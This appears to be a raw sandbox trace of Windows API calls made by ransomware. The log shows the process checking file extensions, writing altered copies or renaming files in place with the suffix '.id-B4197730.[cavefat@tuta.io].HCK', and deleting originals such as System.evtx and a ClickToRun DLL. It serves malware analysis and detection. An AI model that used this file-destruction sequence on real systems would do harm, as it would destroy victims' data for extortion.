lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0158.322] lstrlenW (lpString=".docx") returned 5 [0158.322] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0158.322] lstrlenW (lpString=".pdf") returned 4 [0158.322] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0158.322] lstrlenW (lpString=".xls") returned 4 [0158.322] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0158.322] lstrlenW (lpString=".xlsx") returned 5 [0158.322] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0158.322] lstrlenW (lpString=".ppt") returned 4 [0158.322] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0158.322] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0158.322] lstrlenW (lpString=".zip") returned 4 [0158.322] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0158.322] lstrlenW (lpString=".rar") returned 4 [0158.322] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0158.322] lstrlenW (lpString=".bz2") returned 4 [0158.322] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0158.322] lstrlenW (lpString=".7z") returned 3 [0158.322] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0158.322] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0158.322] lstrlenW (lpString=".dbf") returned 4 [0158.322] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0158.323] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0158.323] lstrlenW (lpString=".1cd") returned 4 [0158.323] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0158.323] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0158.323] lstrlenW (lpString=".jpg") returned 4 [0158.323] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0158.323] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0158.323] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0158.323] lstrlenW (lpString=".doc") returned 4 [0158.323] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0158.323] lstrlenW (lpString=".docx") returned 5 [0158.323] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0158.323] lstrlenW (lpString=".pdf") returned 4 [0158.323] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0158.323] lstrlenW (lpString=".xls") returned 4 [0158.323] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0158.323] lstrlenW (lpString=".xlsx") returned 5 [0158.323] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0158.323] lstrlenW (lpString=".ppt") returned 4 [0158.323] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0158.323] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0158.323] lstrlenW (lpString=".zip") returned 4 [0158.323] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0158.323] lstrlenW (lpString=".rar") returned 4 [0158.323] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0158.323] lstrlenW (lpString=".bz2") returned 4 [0158.323] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0158.323] lstrlenW (lpString=".7z") returned 3 [0158.323] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0158.323] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0158.323] lstrlenW (lpString=".dbf") returned 4 [0158.323] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0158.323] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0158.323] lstrlenW (lpString=".1cd") returned 4 [0158.323] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0158.323] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0158.323] lstrlenW (lpString=".jpg") returned 4 [0158.323] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0158.323] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0158.323] lstrlenW (lpString="System.evtx") returned 11 [0158.323] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0158.324] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=1118208) returned 1 [0158.324] CloseHandle (hObject=0x37c) returned 1 [0158.324] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0158.324] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\system.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.324] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0158.324] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.324] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.324] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\system.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0158.325] GetLastError () returned 0x0 [0158.325] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0158.785] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0158.803] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11010, lpOverlapped=0x0) returned 1 [0158.810] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11020, lpOverlapped=0x0) returned 1 [0158.813] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.813] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xea, lpOverlapped=0x0) returned 1 [0158.813] SetEndOfFile (hFile=0x384) returned 1 [0158.813] CloseHandle (hObject=0x384) returned 1 [0158.830] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.830] SetEndOfFile (hFile=0x37c) returned 1 [0158.831] CloseHandle (hObject=0x37c) returned 1 [0158.831] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0159.214] DeleteFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1 [0159.221] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0159.221] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0159.221] lstrlenW (lpString=".doc") returned 4 [0159.224] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0159.224] lstrlenW (lpString=".docx") returned 5 [0159.224] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0159.224] lstrlenW (lpString=".pdf") returned 4 [0159.224] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0159.227] lstrlenW (lpString=".xls") returned 4 [0159.227] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0159.228] lstrlenW (lpString=".xlsx") returned 5 [0159.228] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0159.228] lstrlenW (lpString=".ppt") returned 4 [0159.228] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0159.235] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0159.235] lstrlenW (lpString=".zip") returned 4 [0159.235] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0159.235] lstrlenW (lpString=".rar") returned 4 [0159.235] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0159.235] lstrlenW (lpString=".bz2") returned 4 [0159.243] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0159.243] lstrlenW (lpString=".7z") returned 3 [0159.243] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0159.243] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0159.243] lstrlenW (lpString=".dbf") returned 4 [0159.243] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0159.243] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0159.243] lstrlenW (lpString=".1cd") returned 4 [0159.243] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0159.243] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0159.243] lstrlenW (lpString=".jpg") returned 4 [0159.243] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0159.243] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0159.244] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0159.244] lstrlenW (lpString=".doc") returned 4 [0159.244] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0159.244] lstrlenW (lpString=".docx") returned 5 [0159.244] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0159.244] lstrlenW (lpString=".pdf") returned 4 [0159.244] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0159.244] lstrlenW (lpString=".xls") returned 4 [0159.244] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0159.244] lstrlenW (lpString=".xlsx") returned 5 [0159.244] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0159.244] lstrlenW (lpString=".ppt") returned 4 [0159.244] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0159.244] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0159.244] lstrlenW (lpString=".zip") returned 4 [0159.244] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0159.244] lstrlenW (lpString=".rar") returned 4 [0159.244] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0159.244] lstrlenW (lpString=".bz2") returned 4 [0159.244] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0159.244] lstrlenW (lpString=".7z") returned 3 [0159.244] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0159.244] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0159.244] lstrlenW (lpString=".dbf") returned 4 [0159.244] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0159.244] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0159.244] lstrlenW (lpString=".1cd") returned 4 [0159.244] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0159.244] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0159.244] lstrlenW (lpString=".jpg") returned 4 [0159.244] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0159.244] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0159.244] lstrlenW (lpString="appvcleaner.exe") returned 15 [0159.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0159.245] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=2054872) returned 1 [0159.245] CloseHandle (hObject=0x39c) returned 1 [0159.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0159.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.245] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0159.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0159.246] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0x0) returned 1 [0159.246] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0159.246] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x34d1058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0159.249] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0159.249] ReadFile (in: hFile=0x39c, lpBuffer=0x3511058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3511058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0159.252] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.253] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0159.253] ReadFile (in: hFile=0x39c, lpBuffer=0x3551058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3551058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0159.318] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.318] WriteFile (in: hFile=0x39c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x25cfca8, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfca8*=0xc010a, lpOverlapped=0x0) returned 1 [0159.574] SetEndOfFile (hFile=0x39c) returned 1 [0159.575] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e56040 [0159.578] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0159.578] WriteFile (in: hFile=0x39c, lpBuffer=0x3e56040*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e56040*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0159.675] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0159.675] WriteFile (in: hFile=0x39c, lpBuffer=0x3e56040*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e56040*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0159.676] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0159.676] WriteFile (in: hFile=0x39c, lpBuffer=0x3e56040*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e56040*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0159.678] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e56040 | out: hHeap=0x6b0000) returned 1 [0159.679] CloseHandle (hObject=0x39c) returned 1 [0160.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0160.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0160.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0160.288] lstrlenW (lpString=".doc") returned 4 [0160.288] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0160.288] lstrlenW (lpString=".docx") returned 5 [0160.288] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0160.288] lstrlenW (lpString=".pdf") returned 4 [0160.288] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0160.288] lstrlenW (lpString=".xls") returned 4 [0160.288] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0160.288] lstrlenW (lpString=".xlsx") returned 5 [0160.288] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0160.288] lstrlenW (lpString=".ppt") returned 4 [0160.288] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0160.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0160.288] lstrlenW (lpString=".zip") returned 4 [0160.289] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0160.289] lstrlenW (lpString=".rar") returned 4 [0160.289] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0160.289] lstrlenW (lpString=".bz2") returned 4 [0160.289] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0160.289] lstrlenW (lpString=".7z") returned 3 [0160.289] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0160.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0160.289] lstrlenW (lpString=".dbf") returned 4 [0160.289] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0160.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0160.289] lstrlenW (lpString=".1cd") returned 4 [0160.289] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0160.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0160.289] lstrlenW (lpString=".jpg") returned 4 [0160.289] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0160.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0160.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0160.289] lstrlenW (lpString=".doc") returned 4 [0160.289] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0160.289] lstrlenW (lpString=".docx") returned 5 [0160.289] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0160.289] lstrlenW (lpString=".pdf") returned 4 [0160.289] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0160.289] lstrlenW (lpString=".xls") returned 4 [0160.289] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0160.289] lstrlenW (lpString=".xlsx") returned 5 [0160.289] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0160.289] lstrlenW (lpString=".ppt") returned 4 [0160.289] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0160.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0160.289] lstrlenW (lpString=".zip") returned 4 [0160.289] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0160.289] lstrlenW (lpString=".rar") returned 4 [0160.289] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0160.289] lstrlenW (lpString=".bz2") returned 4 [0160.289] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0160.289] lstrlenW (lpString=".7z") returned 3 [0160.289] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0160.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0160.289] lstrlenW (lpString=".dbf") returned 4 [0160.289] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0160.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0160.289] lstrlenW (lpString=".1cd") returned 4 [0160.289] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0160.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0160.289] lstrlenW (lpString=".jpg") returned 4 [0160.289] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0160.289] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0160.290] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27 [0160.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0160.290] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=210648) returned 1 [0160.290] CloseHandle (hObject=0x39c) returned 1 [0160.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0160.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0160.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0160.290] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.290] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0160.596] GetLastError () returned 0x0 [0160.596] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x336d8, lpOverlapped=0x0) returned 1 [0160.617] WriteFile (in: hFile=0x3ac, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x336e0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x336e0, lpOverlapped=0x0) returned 1 [0160.620] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.620] WriteFile (in: hFile=0x3ac, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x10a, lpOverlapped=0x0) returned 1 [0160.620] SetEndOfFile (hFile=0x3ac) returned 1 [0160.620] CloseHandle (hObject=0x3ac) returned 1 [0160.624] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.624] SetEndOfFile (hFile=0x39c) returned 1 [0160.625] CloseHandle (hObject=0x39c) returned 1 [0160.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0160.626] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 1 [0160.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0160.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0160.626] lstrlenW (lpString=".doc") returned 4 [0160.626] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.626] lstrlenW (lpString=".docx") returned 5 [0160.626] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0160.626] lstrlenW (lpString=".pdf") returned 4 